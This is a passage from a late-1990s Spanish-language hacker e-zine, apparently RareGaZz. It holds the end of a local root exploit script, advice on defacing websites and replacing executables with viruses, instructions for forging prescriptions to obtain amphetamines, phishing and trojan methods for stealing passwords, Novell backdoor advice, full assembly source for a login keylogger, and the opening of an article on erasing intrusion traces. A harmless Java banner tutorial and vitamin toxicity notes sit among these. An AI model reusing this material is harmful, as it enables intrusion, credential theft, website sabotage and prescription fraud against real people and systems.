gcc -O3 -o /tmp/spawnfish /tmp/spawnfish.c
gcc -O3 -o /tmp/smtpd /tmp/smtpd.c
#
/tmp/spawnfish
kill -HUP `/usr/ucb/ps -ax|grep /tmp/smtpd|grep -v grep|sed s/"[ ]*"// 
|cut -d" " -f1`
rm /tmp/spawnfish.c /tmp/spawnfish /tmp/smtpd.c /tmp/smtpd /tmp/x.c
sleep 5
if [ -u /tmp/x ] ; then
   echo "leet..."
   /tmp/x
fi 

--------------------------------- CORTA AQUI
---------------------------------

 Hay infinidad de exploits como este en la red si deseas links a paginas
 que continen cientos revisa la seccion de links de la revista Raregazz.

@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%
                               Y RECUERDA ...
@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%

 Bien ya tengo el root o una cuenta de algun administrador ahora que?, pues
 ahora sigue la parte mas divertida.

 Estando como root bajas todos los archivos de la pagina y despues los 
 editas cada archivo guardalo  con  el  mismo nombre que tenia para ahorrarte
 trabajo, luego editas la web-page.

 Usa tu imaginzacion por  ejemplo si hay  archivos  executables 
 remplazalos por virus cambia los links  modifica  las  imagenes etc. ahora
 reemplazas los antiguos archivos por los nuevos recuerda que el chiste es
 hacer cambios que no llamen mucho la atencion para que los Admins no se den
 cuenta y dure mas tiempo.

 Y recuerda |-|4cK t|-|3 \/\/0r1d ....



\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%

                  ESTUDIAR O TRABAJAR Y PERMANECER DESPIERTO
                  ******************************************
                  ******************************************

AUTOR: Ergot
FECHA: Septiembre del 1997
PROCEDENCIA: Espaa
TEMA UNDERGROUND: Drogas
SITE: Underhack (http://underhack.islatortuga.com)
NOTAS: Underhack se lava las manos de cualquier dao que esta informacion
       pueda causar, bla, bla, bla...., y da todos los derechos de este
       articulo sola y unicamente a RareGazz con la condicion de no
       modificar el contenido. El texto se comprende bien en la primera
       parte, y despues a la gente le puede parecer pesado, pero hay que
       ser buenos y conocer los efectos de estas sustancias :). Ahhh, se
       me olvidaba, los precios estan en pesetas, asi que al final del doc
       podeis poner la equivalencia en pesos :)

CENTRAMINA (ANFETAS)
--------------------

    Que yo sepa solo se comercializa la centramina que en esencia es anfeta
y no se puede conseguir sin receta, creo, pero se usan para adelgazar; dos
opciones: di que quieres perder peso o cuentale la vida al medico.
    Para la receta has de poner:
         centramina 10 unidades 1 com cada 8 horas y firmita
         centramina 20 unidades 1 com cada 8 horas y firmita
    Centramina es la marca comercial, no hay de varios tipos asi que no has
de poner nada mas, si se deja sin poner la posologia cantara, y mejor pon
de 10 que tambien cantara menos (y cuidadin que esto es peligroso).
    Deja espacios no todo seguido:
        centramina
        10 unidades
        una cada 8 horas
    Pon letra de medico ya sabes.. y no estes cerca de la zona de donde es
la receta, los farmaceuticos conocen la letra de los medicos.....
    Precios: 10 - 113 ptas y 20 - 162 ptas
    A continuacion se veran posibles sustitutos.

KATOVIT & FINEDAL
-----------------

    Yo te aconsejaria que utilizases el katovit, no es ilegal y si es para
estudiar va muy bien..
    Katovit (sin receta) + cafe o cocacola = 3 o 4 comprimidos.. pero no
pegaras ojo, es un complejo vitaminico que incluye la pseudo anfeta,
(mejor que empiezes con 2)
    El finedal es algo parecido al katovit, pero mejor el katovit, en las
farmacias ya saben.

 [ en Mexico el equivalente es "catovit" cuesta de 30 a 35 pesos con 20
   pastillas y se vende libremente sin receta por ser unicamente vitamina B
   y variantes. Por experiencia recomiendo de 4 a 5 y una cerveza fria. :-) ]

TERMALGIN CODEINA
-----------------

    Otra posibilidad es el termalgin codeina + un cafe = te mantiene
despierto y funciona bastante bien, (al menos a mi) haz la prueba.
    Receta: sin codeina si, la codeina es un morfico sintetico, pero te la
dan igual no te ponen problemas en las farmacias, es un farmaco muy comun.
    La codeina se usa para potenciar el efecto analgesico del paracetamol.

    Mas cosas...
  
    La unica anfetamina que se comercializa en Espaa es la Centramina
(igual que el nombre comercial), y SOLO se vende con receta de
estupefacientes, cosa chunguiisima de conseguir.

    Puedes encontrar sustitutos decentillos como el DYNAMIN, que tambien va 
con receta pero no de estupefacientes y por lo tanto un farmaceutico 
enrollado te lo puede vender. PRECIO: 500 ptas.

    Otro producto es la CAFIASPIRINA, es lo mejor para examenes, es AAS con 
cafeina (mas o menos lo que una taza cargadilla de cafe), te quita el dolor
de cabeza y te quita el sueo. Como problema, pues que no puedes
tomartela en ayunas porque hace dao al estomago.

    El KATOVIT,FARMATRON COMPLEX... y similares, llevan algo de estimulante, 
pero poco y no valen para fines educativos. :)

    Por ultimo la mayoria de los estimulantes sinteticos de Bakalaeros
llevan anfetamina o similares, y pueden usarse para mantenerte despierto,
aunque son caros.....

    IMPORTANTE: nunca tomes anfetaminas mas de tres dias seguidos porque 
puedes acabar viendo "cosas raras".

    Ah, algunos antiasmaticos que llevan TEOFILINA tambien producen 
excitacion e insomnio como efectos secundarios, y el PROZAC tambien, 
pero este ultimo va con receta.

    A algunos seres pensantes, les gusta tomar cosas para estudiar, o estar
muchas horas delante del ordenata, o pa cualquier cosa. Muchos de los
farmacos elaborados con ese fin contienen vitaminas por un tubo, y no es de
extraar que agarres una hipervitaminosis de caballo. Bueno!, pos hablemos
de hipervitaminosis.

 [ En Mexico equivalentes de PROZAC son REYNOL -roche- y las pastillas
   llamadas rigotril o mejor conocidas como `rebotes' ]

VITAMINAS LIPOSOLUBLES
-----------------------

Toxicidad vit A (retinol)
=========================

    La administracion aguda de grandes dosis de vitamina A se asocia con la
aparicion de vomitos, cefaleas, convulsiones y otros signos de hipertension
intracraneal, como papiledema, que configuran un cuadro de seudotumor
cerebral. La toma cronica de dosis moderadas durante meses puede causar
perdida de cabello y aparicion de sequedad cutanea con prurito (picor). 
El uso de vitamina A en dosis farmacologicas durante el embarazo se ha 
asociado a mayor incidencia de malformaciones congenitas.

                --- EN INGLES ---
    Excess: Because vitamin A is fat soluble, it is stored in the body. As a
result, continued high doses (several times the U.S. RDA) have toxic effects.
Signs of toxicity include dry and itching skin, headaches, and nausea and
diarrhea. High vitamin A intake during pregnancy also may cause birth
defects, but it is not known at what level this can occur. Excessive amounts
of carotene are not known to be toxic, but will cause the skin to turn deep
yellow. The color disappears when the amount of carotene in the diet is
decreased.
                --- EN INGLES ---

Vitamina D
==========

                --- EN INGLES ---
    Excess: High intakes may cause vomiting, diarrhea, and
weight loss and lead to calcium deposits in various organs.
Children are especially susceptible, but anyone can have
adverse effects from high daily doses.
                --- EN INGLES ---

Toxicidad vit E (tocoferoles, D-a-tocoferol) 
============================================

    Aunque menos toxica que las otras vitaminas liposolubles, el aporte 
de cantidades elevadas de vitamina E puede aumentar los requerimientos de 
vitamina K y alargar el tiempo de protrombina. El aporte parenteral de 
vitamina E puede asociarse a la aparicion de hepatosplenomegalia, 
ictericia colestsica, ascitis y trombocitopenia en el nio prematuro.

                --- EN INGLES ---
    Excess: Some evidence suggests that large intakes may
cause increased levels of blood cholesterol and lipids.
                --- EN INGLES ---

Toxicidad Vit K (filoquinona)(menaquinona)
==========================================

    Dosis altas de vitamina K por via parenteral pueden producir anemia
hemolitica en el recien nacido.

                --- EN INGLES ---
    Excess: Natural forms have no known toxic effects; large doses of the
synthetic version, menadione, and its derivatives cause anemia and
kernicterus, a condition characterized by jaundice, in infants.
                --- EN INGLES ---

VITAMINAS HIDROSOLUBLES
-----------------------

Toxicidad vit C (acido ascorbico)
=================================

    El uso prolongado de acido ascorbico en grandes dosis puede 
interferir en la absorcion de la vitamina B 12 , aumentar las concentraciones 
sanguineas de estrogenos en la mujer, causar uricosuria, facilitar la
formacion de calculos renales de oxalato y provocar la intoxicacion por
hierro en pacientes que requieren transfusiones cronicas de sangre.

                --- EN INGLES ---
    Excess: High intakes of 1 gram or more per day may
cause nausea, abdominal cramps, and diarrhea in some
people.
                --- EN INGLES ---

Toxicidad vit tiamina B1
========================

    Por via oral no se han descrito intoxicaciones. En el caso de
administracion intravenosa se ha observado la aparicion de hipertension,
taquicardia y edemas de causa desconocida. No se ha descrito en el ser 
humano.

                --- EN INGLES ---
    Excess: High intakes appear nontoxic since excess
thiamin is easily excreted by the kidneys.
                --- EN INGLES ---
 
Toxicidad vit Riboflavina B2
=============================

    No se ha descrito en el ser humano.
                --- EN INGLES ---
    Excess: High doses appear nontoxic.
                --- EN INGLES ---

Toxicidad vit Niacina 
=====================

    Dosis superiores a 3 g/dia de acido nicotinico producen dilatacion
vascular y sofocacion, disminucion de los lipidos sericos (util en el
tratamiento de ciertas hiperlipoproteine-mias) y reduccion de la utilizacion
de los acidos grasos del adipocito durante el ejercicio. En el caso de emplear
estas dosis, es necesario controlar si existe dolor abdominal, aumento de la
pigmentacion de la piel, hepatotoxicidad, hiperuricemia o hiperglucemia.
Raras veces provoca arritmias cardiacas y ulcera peptica.

                --- EN INGLES ---
   Excess: Large amounts of niacin, when taken in the nicotinic acid form of
the vitamin, act as a drug. Nicotinic acid is often prescribed as a
cholesterol-lowering drug, and should be taken only under the supervision of
a physician. Side effects include vascular dilation of the skin (flushing)
and gastrointestinal distress. Prolonged intake may cause liver damage.
                --- EN INGLES ---

Toxicidad vit piridoxina (B 6) (importante en los pedos de alcohol)
===================================================================

    Se han descrito neuropatias sensitivas tras la administracion de grandes
dosis de esta vitamina (superiores a 500 mg/dia). (Es cofactor de la alcohol
deshidrogenasa por lo que ayuda a metabolizar el alcohol; la tenemos de
forma directamente proporcional a nuestra resistencia al alcohol), se compra
sin receta - BENADON -, y es lo que inyectan a los "comas etilicos" (bueno
casi) y parece magico.)

                --- EN INGLES ---
    Excess: Long-term megadoses, such as may be taken by women to alleviate
premenstrual syndrome, may cause nerve damage and muscular incoordination in
the hands and feet.
                --- EN INGLES ---

Toxicidad vitamina B 12
=======================

                --- EN INGLES ---
    Excess: No toxicity has been reported from high intakes, but no benefits
have been reported, either.
                --- EN INGLES ---

Folatos, acido folico 
=====================

                --- EN INGLES ---
    Excess: Very large doses may bring about convulsions in epileptics who
are taking the anticonvulsant drug phenytoin. Without evidence of benefit
from high doses and with some evidence of potential for toxicity, high
intakes of folate supplements are not recommended by the National Research
Council of the National Academy of Sciences.

    U.S. Recommended Daily Allowances:
    Infants          Children      Adults and          Pregnant or
    (0-12 mo.)       (1-3 years)   Children 4 Years+   Nursing Women
    100 micrograms   200 mcg       400 mcg             800 mcg
                --- EN INGLES ---

Biotina
=======

                --- EN INGLES ---
    U.S. Recommended Daily Allowances:
    Infants         Children      Adults and           Pregnant or
    (0-12 mo.)      (1-3 years)   Children 4 Years +   Nursing Women
    50 micrograms   150 mcg       300 mcg              300 mcg
                --- EN INGLES ---

    Exceso: Ningun efecto ha sido reportado,

Acido Pantotenico 
=================

    Vitamina B-complex
    Exceso: Ningun efecto ha sido reportado,


\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%

                       + + + + + + + + + + + + + + + +
                       |    Cracker Applets Jack     |
                       |  La guia para un web Cool   |
                       + + + + + + + + + + + + + + + +
                de la serie `mejoremos el web' para RareGaZz

 El espacio de internet se esta saturando de applets java. El dia de hoy
 ha dejado de ser tipico aquel navegador con el lenguaje java desabilitado
 debido a la implementacion de applets para busquedas en bases de datos y
 para mandar correo electronico. Es por esto que si tienes una pagina en
 internet necesitas implementar un poco de java para...como decirlo sin
 mencionar a las chikas spice? oh diablos `spice up your web'.

 Los Archivos.
 ~~~~~~~~~~~~~
 El archivo class.zip incluido al final de la revista (seccion UUENCODE)
 contiene los archivos BannersMsg.class y Banners.class a los que por medio
 de parametros usaremos para crear portentosos banners para el web.

 Los Parametros.
 ~~~~~~~~~~~~~~~
 El codigo de los banners es inservible sin una combinacion adecuada de
 parametros que nos permitiran definir el tamao, background, color y tipo
 de letra que queramos utilizar.

 Tan solo una combinacion de parametros correcta dentro de un archivo HTML
 definidos dentro de las etiquetas <applet ?> y </applet> nos daran como
 resultado un lujoso banner. En el siguiente ejemplo seran evaluados los
 parametros individualmente; cabe hacer notar que los parametros siguientes
 dentro de un archivo que pueda ser visualizado con el navegador dara como
 resultado el banner de raregazz. Para que funcione correctamente los 2
 archivos .class deberan estar en el directorio.

..............................................................................
<applet code="Banners.class"  width="608" height="50" >
<param name="bgImage"       value="fondo.jpg">
<param name="fps"           value="40">
<param name="repeat"        value="1">
<param name="borderWidth"   value="1">
<param name="borderColor"   value="red">
<param name="messages"      value="Bienvenido a la |Pgina Oficial {textColor=Yellow} {exit=zoomIn} |de la revista {size=36} {align=Top} {enter=zoomOut} {exit=none} {cpf=4} {textColor=Red} {emboss=true} |Electronica {font=TimesRoman} {size=48} {enter=wipeUp} {exit=wipeDown} {textColor=Orange} {emboss=true} |para Hackers{enter=fade} {exit=fade} {pause=2} {cpf=4} {textColor=Red} |Editada por... {size=36} {enter=scrollLeft} {exit=scrollLeft} {pause=0} {cpf=4} {textColor=Green} |RareTrip -0- KillerBot -0- Mr. X -0- Le PompeItor {pause=4} {cpf=1} {emboss=true} {size=26} {effect=color} |ServerHacker -0- Groovy -0- GuyBrush {pause=4} {cpf=1} {emboss=true} {size=28} {effect=color} |Y colaboradores como tu! {pause=3} {size=36} {textColor=Green} |Espacio para este web proporcionado por{size=26} {align=Top} {enter=zoomOut} {exit=zoomIn} {cpf=4} {textColor=Red} |ISLATORTUGA.COM {enter=wipeUp} {exit=scrollRight} {pause=5} {cpf=4} {size=38} {effect=color} {emboss=true}">
<param name="font"          value="Helvetica">
<param name="style"         value="Bold">
<param name="size"          value="54">
</applet>
..............................................................................

<applet code="Banners.class"  width="608" height="50" >

 La primera linea define el nombre del archivo class a utilizar y las medidas
 deseadas del banner. `width' mientras la lengua inglesa no sea modificada
 es el `largo' mientras que `height' la `altura'.

 Hagamos un banner desde cero. empezamos con la medida. que tal 500 de
 largo y 50 de ancho? perfecto. Para ayudarte a calcular la medida puedes
 usar un programa de edicion de graficos. Las unidades de medicion son Pels.
 Hagamos el banner como habiamos dicho definiendo el parametro inicial asi:
 <applet code="Banners.class"  width="500" height="50" >

 El siguiente parametro definido en el ejemplo es:

<param name="bgImage"       value="fondo.jpg">

 Este parametro puede o no estar presente. Lo que nos permite es usar una
 imagen que debe ser jpg como fondo de nuestro banner. Durante la
 ejecucion del banner podras modificar la imagen de fondo haciendolo mas
 atractivo.
 Para el banner que vamos a crear usaremos el mismo parametro y hay que
 tener el archivo fondo.jpg y los otros que utilizemos en el mismo directorio
 que tengamos nuestros htmls.

 La velocidad se mide en `frames per second' o cuadros por segundo. Asi,
 elegimos la velocidad con la que se mostrara el banner. Como estamos de
 party eligamos una velocidad rapida...

<param name="fps"           value="30">

 La velocidad puede ser modificada usando un comando dentro del parametro
 messages llamado "cpf".

 Si deseamos que nuestro banner se repita lo indicamos en el siguiente
 parametro de esta forma:

 <param name="repeat"        value="1">

 Para evitar que el banner se repita infinitamente quitamos el parametro
 de nuestro codigo html.

 Un borde alrededor del banner puede ser una buena idea, para esto incluye
 el parametro: <param name="borderWidth"   value="0"> donde `value' debe ser
 el ancho del borde. Para nuestro banner usaremos un borde de 2 pels. El
 codigo quedara definido asi:

 <param name="borderWidth"   value="2">

 Ahora que tenemos nuestro borde definiremos el color con este otro parametro:

 <param name="borderColor"   value="blue">

 El valor puede ser uno de estos:
 blue, red, cyan, magenta, yellow, orange, green, entre otros.

 Asi como se define el color del borde tambien hay que escoger el tipo de
 letra default que queramos usar para nuestro banner. Hay que tener en
 cuenta que esta opcion puede ser modificada con otro parametro explicado
 mas adelante.
 Asi definimos nuestro font default en el banner:
 <param name="font"          value="Helvetica">

 El tamao default tambien debe ser definido con este parametro:
 <param name="size"          value="54">

 Para resaltar nuestro banner se sugiere incluir este parametro:
 <param name="style"         value="Bold">

  El Banner.
  ~~~~~~~~~~
  Dentro del parametro `messages' debe ir todo lo que querramos que nuestro
  banner ponga en el visualizador. Lo diferente de este parametro es que
  puede incluir otros parametros dentro del mismo para cambiar el color de
  la letra, la velocidad del banner, el estilo y para incluir efectos.

  Los subparametros dentro del parametro `messages' tienen a su vez valores
  que definen su funcion en el texto del applet java.

  Los subparametros aceptados son:
  
               Ŀ
               {textColor=valor}      Permite cambiar el     
                                      color del texto.       
               {enter=valor}          Asi aparecera el texto 
                                      en el banner.          
               {exit=valor}           Define como saldra el  
                                      texto del banner.      
                                      color del texto.        
               {size=valor}           Permite modificar el   
                                      tamao del texto.      
               {align=valor}          En que parte del banner
                                      saldra el texto.       
               {cpf=valor}            Velocidad.             
               {emboss=valor}         Efecto emboss ON/OFF   
               {font=valor}           El tipo de letra.      
               {pause=valor}          Permite poner una pausa
                                      en el applet.          
               {effect=color}         Efecto de colores.     
               

 Dentro del parametro `messages' el texto que aparecera en cada pantalla del
 banner debe ir separado por el caracter ASCII numero 124 ( | ) pero antes de
 separar las pantallas los subparametros deben ser definidos. Los
 subparametros deben estar entre corchetes ( {..} ). Todo esto estara entre
 comillas formando el valor del parametro `messages'.

 SubParametros.
 ~~~~~~~~~~~~~~~

 {textColor=valor}
 ^^^^^^^^^^^^^^^^^
 Este subparametro se usa para definir el color del texto que aparecera en
 el banner. Los valores que puede tener varian desde blue(azul), red(rojo),
 cyan(azul claro), magenta(bueno hombre...), yellow(amarillo), orange(naranja)
 green(verde), etc.
 Un ejemplo podria ser:

 <param name="messages"      value="Este es un {textColor=red}| EJEMPLO {textColor=blue}">
 mensaje del banner                             
                                se muestra en la pantalla del
                                banner las palabras `Este es un'
                                de color rojo.

  {exit=valor} y {enter=valor}
  ^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  Cuando el texto se muestra en la pantalla se pueden incluir efectos como
  un desliz tipo scroll o una aparicion del tipo makearray o fade. Los
  valores pueden ser: zoomIn (acercamiento hacia dentro), zoomOut
  (acercamiento hacia fuera), wipeUp (borrado hacia arriba), wipeDown (borrado
  hacia bajo), scrollLeft (desliz hacia la izquierda), scrollRight (desliz
  hacia la derecha), y none (ninguno de los anteriores).

  Para mostrar el mismo texto que el ejemplo de arriba pero entrando de
  derecha a izquierda y saliendo borrado hacia arriba hariamos esto:

  <param name="messages"      value="Este es un {textColor=red} {enter=scrollRight} {exit=wipeUp}| EJEMPLO {textColor=blue} {enter=scrollRight} {exit=wipeUp}">

  {size=valor}
  ^^^^^^^^^^^^
  Para modificar el tamao del texto mostrado en pantalla usa este comando.
  Los valores son todos los numeros positivos despues del cero.

  {align=valor}
  ^^^^^^^^^^^^^
  Con este comando podemos colocar texto en las distintas partes del applet.
  Los valores que puede tener son: Top, Bottom, Right, Left.

  {cpf=valor}
  ^^^^^^^^^^^
  Gracias a este comando se nos hace posible cambiar la velocidad del texto
  en las distintas partes del banner. El valor entre mayor sea mas lento se
  hara el banner.

  {emboss=valor}
  ^^^^^^^^^^^^^^
  Este comando solo puede tener un valor: true
  este parametro debe ser incluido unicamente cuando queramos que alguna
  parte del texto de nuestro applet aparezca con ese efecto.

  {font=valor}
  ^^^^^^^^^^^^
  Util para modificar el Font usado en el texto en distintas partes del
  banner. El valor puede ser: TimesRoman, etc.

  {pause=valor}
  ^^^^^^^^^^^^^
  Incluye una pausa en el banner. Los valores se miden en segundos.

  {effect=color}
  ^^^^^^^^^^^^^^
  Modifica el texto que aparece en la pantalla aadiendole un efecto
  que hace cambiar el color de la letra.

  Hasta La Vista :-)
  ~~~~~~~~~~~~~~~~~~
  Hey este texto puede llegar a ser util para alguien...vamos! Q' lo unico
  que queria era ayudar a hacer applets a cualquier persona. Espero haberlo
  conseguido.... celula (ce lu lavan con jabon).

  raretrip.


\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%

                             ____________________
                            /                    \
                           |  INGENIERIA  SOCIAL  |
                            \____________________/


Como la mayoria de vosotros sabreis, la ingenieria social trata de conseguir
accesos a ordenadores remotos, pero no mediante fallos en el sistema ni utili-
zando exploits. Es mucho mas simple; se trata de 'convencer' a alguien para
obtener accesos en un sistema.

Esto parece una tonteria pero os aseguro que es muy util. Con una sola cuenta
ya podemos acceder al sistema - indispensable para capturar los passwd o eje-
cutar exploits. Y conseguir el acceso, como todos sabreis es lo mas dificil.
Despues de esto, ya interviene la imaginacion de cada uno.

Bien, hay varias formas de utilizar la ingenieria social:

1- Convencer a alguien en el IRC para que te de sus contraseas (esto ya esta
   muy visto y es muy dicifil que te de resultado, ademas de ser muy pesado).
   Para ello debes usar tu imaginacion ... hacerte pasar por chica, entrar en
   canales de novatos, ...

2- Conseguir datos de alguien y luego llamar a su proveedor diciendo que se te
   ha perdido el passwd, ... o pidiendo informacion. No lo recomiendo.
   O tam   bien se puede llamar al usuario diciendole que eres el proveedor y
   que necesitas sus datos para algo ... deja correr tu imaginacion.

3- Realizar 'encuestas'. Este metodo me gusta mas. Se trata de conseguir los
   mails de novatos en el IRC (mas facil que en el caso anterior, pues el mail
   te lo da cualquiera, pero el login y el passwd no). Y despues enviarle un
   mail diciendo que eres el administrador y que necesitar su passwd para algo
  (para cambiarselo, porque se han perdido algun fichero de logs, ... deja co-
   rrer tu imaginacion). Pero debes de tener cuidado con esto. Has de usar co-
   rreo anonimo y sobre todo usar remailers; para que nadie pueda nunca loca-
   lizarte en caso de que la victima te denuncie al administrador.

4- Enviar un programa a alguien y que cuando lo ejecute te envie por correo el
   /etc/passwd (un caballo de troya). Ideal para universidades y demas.

Debes de seleccionar muy bien a las victimas. Que sean de proveedores con ac-
ceso al shell del sistema, paginas web para los usuarios, ... De nada te sirve
tener las contraseas de una cuenta de hotmail de alguien ... solo podras leer
su correo.

Ademas, algunas de estas cuentas tambien te serviran para conseguir acceso a
Internet *gratis* ... bueno, a costa del otro   :)


\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%

                         Ŀ
                          HACKING NOVELL NETWARE 
                          ~~~~~~~~~~~~~~~~~~~~~~ 
                             .o killerbot o.     
                         

 En muchas corporaciones o escuelas (aqui en mexico) se implementa la red
 Novell como la mejor opcion para manejar una red local. Por esta razon
 tratare de explicarte como lograr ser supervisor de esa red y accesar TODO!
 Gracias a las puntas de tus dedos ;)

 Las versiones superiores a las 4.x tienen como cuentas defaults SUPERVISOR,
 GUEST, ADMIN, USER_TEMPLATE. Al momento de la instalacion de la red netware
 se le asigna password a las cuentas SUPERVISOR y ADMIN.

 Para propositos especificos se pueden instalar algunas otras cuentas. Estas
 son algunas junto con sus funciones :

    .-FUNCION-.              .-Cuenta-.

 puerto de impresion                 PRINT
 puerto de impresion                 LASER
 puerto de impresion                 HPLASER
 puerto de impresion                 PRINTER
 puerto de impresion                 LASERWRITER
 puerto de impresion                 POST
 puerto de impresion                 MAIL
 aadir un gateway al sistema        GATEWAY
 aadir un gateway al sistema        GATE
 ruteador de correo al server        ROUTER
 unidad de fax/modem en la red       FAX
 unidad de fax/modem en la red       FAXUSER
 cuenta de prueba para uso temporal  TEST

 Esto debe darte una idea de las cuentas que debes intentar si quieres
 ganar acceso a una red novell. Una manera de esconderte es darle password
 a GUEST o USER_TEMPLATE.

 Si ya eres supervisor de tu red local no olvides crear cuentas "backdoors"
 que te permitan entrar en un futuro con nombres como Alt + 255

 el siguiente texto sobre novell lo encontre en internet y puede darnos una
 idea de como hackear novell de una forma sencilla:

Novell
Una manera facil de colarte en una red Novell

Bueno, si sois de esos cotillas que os gustaria colaros en la red de
vuestra empresa, escuela o lo que sea, para aumentaros la nomina, o las
notas, os esplico unos metodos muy sencillos y curiosos para
conseguirlo, con estos metodos podreis conseguir el password de
supervisor, y hacer maravillas con el.

La primera manera es poner como nombre de usuario guest, esta cuenta
tiene privilegios de supervisor, y generalmente al administrador de
sistema, por increible que parezca, no se acuerda de ella, y no la
protege con password.

Para la segunda manera necesitais lo que los americanos llaman un
keystroke, (yo uso el GETIT, es el mejor y ocupa menos de 1K) que
es algo asi como un doskey pero a lo bestia. Este programita es un
TSR que se carga antes de hacer el login y deja grabadas todas las
teclas pulsadas en un archivo (testing.tmp) en el directorio raiz.
De esta manera esperamos a que el supervisor o alguien con sus
privilegios use el ordenata donde este instalado meta su password
(en el fichero vemos primero el nombre del usuario y luego la
password metida) despues leemos tranquilamente el fichero, y ya esta,
nos metemos con la cuenta del supervisor y bien cotilleamos y lo
dejabamos todo como antes, o nos abrimos una cuenta con derechos de
supervisor, o ampliamos la nuestra, o ampliamos otra (por ejemplo la
cuenta guest, la damos privilegio de supervisor y la ponemos password,
el nombre del administrador del sistema pa mas mala leche).

Avisos:
A mi el programita en cuestion solo me funcionaba si lo cargaba
despues de IPX El fichero con las claves (el testing.tmp) se graba
con atributos de sistema y oculto.

Getit
------------------
cseg   segment
       assume cs:cseg,ds:cseg
       org 100h
       public oi21,ac,ob,fn,fh,flag,ni21,jtov,oc,lethro,wpwtf,exist,create,
       public cntr,lits,begin
.RADIX 16
start:
       push cs
       push cs
       push cs
       pop ds
       pop es
       mov ax,0fffeh
       CLI
       pop ss
       mov sp,ax
       STI
       jmp begin
oi21   dd ?
ac     dw 0
ob     dw 80h dup (?)
buff2 db 80h dup (?)
fn db 'c:\testing',0FF,'.tmp',0
search1 db 'LOGIN'
foundf db 0
fh     dw 0
flag   db 0
cntr   dw 0

ni21:
       assume cs:cseg,ds:nothing,es:nothing

 cmp ax,4b00h
 je exec
 cmp foundf,0ffh
 jne nc
       cmp ah,8
       je  oc
       cmp ah,7
       je  oc


nc:
       push ax
       mov al,cs:flag
       not al
       cmp al,0
       jne jtov
       mov ax,cntr
       inc ax
       mov cntr,ax
       cmp ax,31h
       jb  jtov
       xor ax,ax
       mov cntr,ax
       mov flag,al
       pop ax
       pushf
       call dword ptr [oi21]
       push ds
       push cs
       pop ds
       push ax
       push bx
       push cx
       push dx
       jmp short wpwtf
jtov:
       pop ax
       jmp dword ptr cs:[oi21]
exec: call scanfor
 jmp nc
oc:

       pushf
       call dword ptr cs:[oi21]
       assume ds:cseg
       push ds
       push cs
       pop  ds
       push ax
       push bx
       push cx
       push dx
       mov bx,ac
       mov [bx],al
       inc bx
       mov [ac],bx
       cmp al,0dh
       jne lethro
       mov byte ptr [bx],0ah
       not cs:[flag]
lethro:
       pop dx
       pop cx
       pop bx
       pop ax
       pop ds
       iret

scanfor:
 push ax
 push di
 push si
 push es
 push ds
 push cs
 push cs
 pop es
 mov si,dx
 mov di,offset buff2
moveit:
 lodsb
 and al,0dfh
 stosb
 or al,al
 jnz moveit
 pop ds
 mov di,offset buff2
look:
 push di
 mov si,offset search1
 mov cx,5
 repe cmpsb
 pop di
 or cx,cx
 jz foundit
 inc di
 cmp byte ptr [di+5],0
 je not_found
 jmp look
not_found:
 xor ax,ax
 mov foundf,al
 jmp short endofsearch
foundit:
 mov ax,0ffh
 mov foundf,al
endofsearch:
 pop ds
 pop es
 pop si
 pop di
 pop ax
 ret


wpwtf:
       mov ax,3d02h
       mov dx,offset fn
       pushf
       call dword ptr [oi21]
       jnc exist
       cmp al,2
       je create
       jmp lethro
create:
       mov ah,3ch
       mov dx,offset fn
       mov cx,02h+04h
       pushf
       call dword ptr [oi21]
       jnc exist
       jmp lethro
exist:
       mov fh,ax
       mov bx,ax
       mov ax,4202h
       xor cx,cx
 xor dx,dx
       pushf
       call dword ptr[oi21]
       mov cx,[ac]
       mov dx,offset ob
       sub cx,dx
       mov [ac],dx
       inc cx
       mov bx,fh
       mov ah,40h
       pushf
       call dword ptr [oi21]
       mov ah,3eh
       mov bx,fh
       pushf
       call dword ptr [oi21]
       jmp lethro


lits   db 90h
begin:
       mov ax,offset ob
       mov [ac],ax
       mov ax,3521h
       int 21h
       mov di,offset oi21
       mov [di],bx
       mov [di+2],es
       mov dx,offset ni21
       push cs
       pop ds
       mov ax,2521h
       int 21h
       mov dx,offset lits
       int 27h
cseg   ends
       end start
------------------
( lo necesario para compilar este programa se encuentra en la pagina de
software de raregazz http://raregazz.islatortuga.com/tasm.zip )
1996 Carlos Fco. Lopez Perez , loper @ran.es --> killerbot.


\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%


Ŀ
                  ELIMINANDO NUESTRAS HUELLAS DEL SISTEMA                  
Ĵ
                               Por: Guybrush                               
Ĵ
                        E-Mail: guybrush@axis.org                          


Ŀ
                                  INDICE                                   


        0-Introduccion

        1-Que huellas dejamos cuando trabajamos en un sistema?

        2-Por que y cuando es necesario borrar nuestras huellas?

        3-Como borrarlas

        4-Despedida

Ŀ
                             0-INTRODUCCION                                


Existen muchos documentos por ahi que explican como conseguir ser root en
ordenadores que trabajan con Unix. Como capturar el passwd (este o no shadow),
como utilizar los diccionarios, cuentas por defecto, bugs, etc. (Nota: que
aun no sabes como hacer esto? a que esperas para leerte mi articulo sobre
UNIX?. Lo puedes encontrar en varias revistas o puedes pedirmelo por correo).

Bien, pero, que ocurre cuando por fin conseguimos la cuenta root de ese
servidor al que hemos estado intentando entrar desde hace varios meses? Que
podemos hacer para conservar esa cuenta el mayor tiempo posible?

